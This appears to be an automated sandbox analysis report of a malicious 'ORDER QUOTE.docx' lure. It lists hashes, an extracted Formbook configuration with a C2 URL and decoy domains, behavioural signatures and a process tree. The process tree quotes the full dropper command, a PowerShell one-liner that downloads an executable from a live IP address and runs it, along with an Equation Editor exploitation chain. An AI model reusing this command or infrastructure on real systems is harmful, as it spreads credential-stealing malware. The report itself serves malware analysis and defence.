Analysis
-
max time kernel
150s -
max time network
181s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 19:58
Static task
static1
Behavioral task
behavioral1
Sample
ORDER QUOTE.docx
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORDER QUOTE.docx
Resource
win10-en-20210920
General
-
Target
ORDER QUOTE.docx
-
Size
10KB
-
MD5
eee70c12ab889fd6173de81fbc9a6817
-
SHA1
673a841da220e5ba72e5f30d1d566569595ed352
-
SHA256
7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
-
SHA512
7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7
Malware Config
Extracted
http://198.46.199.161/joo/vbc.exe
Extracted
formbook
4.1
m8g0
http://www.psicologarenatacruz.com/m8g0/
trypapaya.pro
instructorcornernet.com
techadvisorsfl.com
raunnan.com
filestune.com
learnitanywhereskills.com
beaullife.com
getcovidwear.com
tkrbeautyinstitut.com
lisaphamkhai.com
iconicdds.com
ksoopawlas.com
testosteron.store
jctaketwo.com
awexz.online
onlinening.com
steelwerkschicago.com
lukakordic.com
expertsofcoaching.com
dashcca.com
xn--demiatdirecto-1ib.com
yuhongicm.com
portlandsiege.com
academysta.com
blackwiremedia.com
kent-ro-service.com
awmarkets.com
speleatherware.com
rehabcenters.space
jioscircle.com
sinijitu.com
analyticsyoda.com
shlqjt.com
bikramyogamarietta.com
crowncasino9.com
smokin-balls.com
shirasu-clinic.com
856379912.xyz
ckatesting.club
dideqsa.com
goodreporters.com
bromosyon.com
ilkonceyayincilik.com
domennyarendi32.net
thegrowthinn.com
qsgasia.com
venolbolivia.com
myhalloweengift.com
deeparchivesport.com
stiltedstories.com
btcdonation.info
little-darling.com
maximumpotentialfitness.net
iading.com
datingwithgusto.com
abncustompainting.com
cropadvisorjobs.com
nanoring.info
best-practice-gastro.com
sellitech.net
mixonsolutions.com
throughthelineagency.com
gtat.pro
relicstudios.net
Signatures
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1640-127-0x000000000041F1B0-mapping.dmp formbook behavioral1/memory/1640-126-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1660-135-0x00000000000A0000-0x00000000000CF000-memory.dmp formbook -
Blocklisted process makes network request 2 IoCs
Processes:
EQNEDT32.EXEpowershell.exeflow pid process 12 1672 EQNEDT32.EXE 13 1624 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
regasm.exevbc.exevbc.exepid process 1028 regasm.exe 1276 vbc.exe 1640 vbc.exe -
Abuses OpenXML format to download file from external location 2 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE -
Loads dropped DLL 4 IoCs
Processes:
EQNEDT32.EXEpowershell.exevbc.exepid process 1672 EQNEDT32.EXE 1672 EQNEDT32.EXE 1592 powershell.exe 1276 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
vbc.exevbc.exewlanext.exedescription pid process target process PID 1276 set thread context of 1640 1276 vbc.exe vbc.exe PID 1640 set thread context of 1220 1640 vbc.exe Explorer.EXE PID 1660 set thread context of 1220 1660 wlanext.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 2012 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 21 IoCs
Processes:
powershell.exepowershell.exevbc.exewlanext.exepid process 1624 powershell.exe 1624 powershell.exe 1592 powershell.exe 1592 powershell.exe 1640 vbc.exe 1640 vbc.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe 1660 wlanext.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1220 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
vbc.exewlanext.exepid process 1640 vbc.exe 1640 vbc.exe 1640 vbc.exe 1660 wlanext.exe 1660 wlanext.exe -
Suspicious use of AdjustPrivilegeToken 10 IoCs
Processes:
powershell.exepowershell.exevbc.exewlanext.exeExplorer.EXEWINWORD.EXEdescription pid process Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 1640 vbc.exe Token: SeDebugPrivilege 1660 wlanext.exe Token: SeShutdownPrivilege 1220 Explorer.EXE Token: SeShutdownPrivilege 2012 WINWORD.EXE Token: SeShutdownPrivilege 1220 Explorer.EXE Token: SeShutdownPrivilege 1220 Explorer.EXE Token: SeShutdownPrivilege 1220 Explorer.EXE Token: SeShutdownPrivilege 1220 Explorer.EXE -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
Explorer.EXEpid process 1220 Explorer.EXE 1220 Explorer.EXE 1220 Explorer.EXE 1220 Explorer.EXE -
Suspicious use of SendNotifyMessage 5 IoCs
Processes:
Explorer.EXEpid process 1220 Explorer.EXE 1220 Explorer.EXE 1220 Explorer.EXE 1220 Explorer.EXE 1220 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 2012 WINWORD.EXE 2012 WINWORD.EXE -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXEwlanext.exedescription pid process target process PID 1672 wrote to memory of 1028 1672 EQNEDT32.EXE regasm.exe PID 1672 wrote to memory of 1028 1672 EQNEDT32.EXE regasm.exe PID 1672 wrote to memory of 1028 1672 EQNEDT32.EXE regasm.exe PID 1672 wrote to memory of 1028 1672 EQNEDT32.EXE regasm.exe PID 2012 wrote to memory of 1752 2012 WINWORD.EXE splwow64.exe PID 2012 wrote to memory of 1752 2012 WINWORD.EXE splwow64.exe PID 2012 wrote to memory of 1752 2012 WINWORD.EXE splwow64.exe PID 2012 wrote to memory of 1752 2012 WINWORD.EXE splwow64.exe PID 1028 wrote to memory of 1604 1028 regasm.exe cmd.exe PID 1028 wrote to memory of 1604 1028 regasm.exe cmd.exe PID 1028 wrote to memory of 1604 1028 regasm.exe cmd.exe PID 1028 wrote to memory of 1604 1028 regasm.exe cmd.exe PID 1604 wrote to memory of 1624 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1624 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1624 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1624 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1592 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1592 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1592 1604 cmd.exe powershell.exe PID 1604 wrote to memory of 1592 1604 cmd.exe powershell.exe PID 1592 wrote to memory of 1276 1592 powershell.exe vbc.exe PID 1592 wrote to memory of 1276 1592 powershell.exe vbc.exe PID 1592 wrote to memory of 1276 1592 powershell.exe vbc.exe PID 1592 wrote to memory of 1276 1592 powershell.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1276 wrote to memory of 1640 1276 vbc.exe vbc.exe PID 1220 wrote to memory of 1660 1220 Explorer.EXE wlanext.exe PID 1220 wrote to memory of 1660 1220 Explorer.EXE wlanext.exe PID 1220 wrote to memory of 1660 1220 Explorer.EXE wlanext.exe PID 1220 wrote to memory of 1660 1220 Explorer.EXE wlanext.exe PID 1660 wrote to memory of 1576 1660 wlanext.exe cmd.exe PID 1660 wrote to memory of 1576 1660 wlanext.exe cmd.exe PID 1660 wrote to memory of 1576 1660 wlanext.exe cmd.exe PID 1660 wrote to memory of 1576 1660 wlanext.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\wlanext.exe"C:\Windows\SysWOW64\wlanext.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\regasm.exe"C:\Users\Public\regasm.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afccMD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432bMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6MD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
55cb92119420773df61860acadcdd3a3
SHA1d5c009e285f21cf5e53d6be30fd6842edf4d39d2
SHA25641aeda1beecabf5d38381b29db2bb3b710623647b5687c340051acb9d39b62b0
SHA5126e4a0144e8e9402badba8a4285c25e80259a3ee29b22f5490618925250a77a13c2e846f540b9087835565210d89f250f2b21052e28b24d03354e7886e8c11d2c
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
a360430f02b52bde4c71319b4d43b486
SHA1caa3eb07bc780c454aced23c120c3d30f54c685d
SHA25635eb1e13e839e240200b22674d9dcb93d55dd58314cd83786d100082b8f74c34
SHA512ca3c0b5bfe903d701b221e0bc22180e45ec1039dd1e5aa384d777c8a48f063bfcc2f5cec3cec51470335d9ee1f93d8be839c96b9483b7f068cea7ef7a08ee991
-
C:\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
memory/1028-67-0x0000000000000000-mapping.dmp
-
memory/1220-131-0x0000000004190000-0x0000000004264000-memory.dmpFilesize
848KB
-
memory/1220-140-0x0000000006F60000-0x00000000070EE000-memory.dmpFilesize
1.6MB
-
memory/1276-123-0x0000000004970000-0x00000000049D1000-memory.dmpFilesize
388KB
-
memory/1276-121-0x00000000005E0000-0x00000000005FD000-memory.dmpFilesize
116KB
-
memory/1276-124-0x0000000000DD0000-0x0000000000E02000-memory.dmpFilesize
200KB
-
memory/1276-117-0x0000000000000000-mapping.dmp
-
memory/1276-122-0x0000000004FD0000-0x0000000004FD1000-memory.dmpFilesize
4KB
-
memory/1276-119-0x0000000000FD0000-0x0000000000FD1000-memory.dmpFilesize
4KB
-
memory/1576-133-0x0000000000000000-mapping.dmp
-
memory/1592-102-0x0000000004C10000-0x0000000004C11000-memory.dmpFilesize
4KB
-
memory/1592-103-0x0000000002690000-0x0000000002691000-memory.dmpFilesize
4KB
-
memory/1592-104-0x0000000004BD0000-0x0000000004BD1000-memory.dmpFilesize
4KB
-
memory/1592-105-0x0000000004BD2000-0x0000000004BD3000-memory.dmpFilesize
4KB
-
memory/1592-106-0x0000000002950000-0x0000000002951000-memory.dmpFilesize
4KB
-
memory/1592-114-0x0000000005690000-0x0000000005691000-memory.dmpFilesize
4KB
-
memory/1592-101-0x0000000002330000-0x0000000002331000-memory.dmpFilesize
4KB
-
memory/1592-98-0x0000000000000000-mapping.dmp
-
memory/1604-71-0x0000000000000000-mapping.dmp
-
memory/1624-85-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1624-76-0x00000000048F0000-0x00000000048F1000-memory.dmpFilesize
4KB
-
memory/1624-75-0x0000000004930000-0x0000000004931000-memory.dmpFilesize
4KB
-
memory/1624-77-0x00000000048F2000-0x00000000048F3000-memory.dmpFilesize
4KB
-
memory/1624-74-0x0000000000EA0000-0x0000000000EA1000-memory.dmpFilesize
4KB
-
memory/1624-72-0x0000000000000000-mapping.dmp
-
memory/1624-78-0x0000000001100000-0x0000000001101000-memory.dmpFilesize
4KB
-
memory/1624-79-0x00000000012D0000-0x00000000012D1000-memory.dmpFilesize
4KB
-
memory/1624-82-0x0000000005690000-0x0000000005691000-memory.dmpFilesize
4KB
-
memory/1624-89-0x0000000006120000-0x0000000006121000-memory.dmpFilesize
4KB
-
memory/1624-88-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/1624-96-0x0000000006210000-0x0000000006211000-memory.dmpFilesize
4KB
-
memory/1624-97-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1640-126-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1640-129-0x0000000000930000-0x0000000000C33000-memory.dmpFilesize
3.0MB
-
memory/1640-127-0x000000000041F1B0-mapping.dmp
-
memory/1640-130-0x00000000002A0000-0x00000000002B5000-memory.dmpFilesize
84KB
-
memory/1660-132-0x0000000000000000-mapping.dmp
-
memory/1660-134-0x0000000000050000-0x0000000000066000-memory.dmpFilesize
88KB
-
memory/1660-135-0x00000000000A0000-0x00000000000CF000-memory.dmpFilesize
188KB
-
memory/1660-136-0x0000000002020000-0x0000000002323000-memory.dmpFilesize
3.0MB
-
memory/1660-137-0x0000000001DF0000-0x0000000001E84000-memory.dmpFilesize
592KB
-
memory/1752-69-0x0000000000000000-mapping.dmp
-
memory/1752-70-0x000007FEFB6A1000-0x000007FEFB6A3000-memory.dmpFilesize
8KB
-
memory/2012-63-0x00000000754F1000-0x00000000754F3000-memory.dmpFilesize
8KB
-
memory/2012-60-0x0000000072281000-0x0000000072284000-memory.dmpFilesize
12KB
-
memory/2012-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/2012-139-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/2012-61-0x000000006FD01000-0x000000006FD03000-memory.dmpFilesize
8KB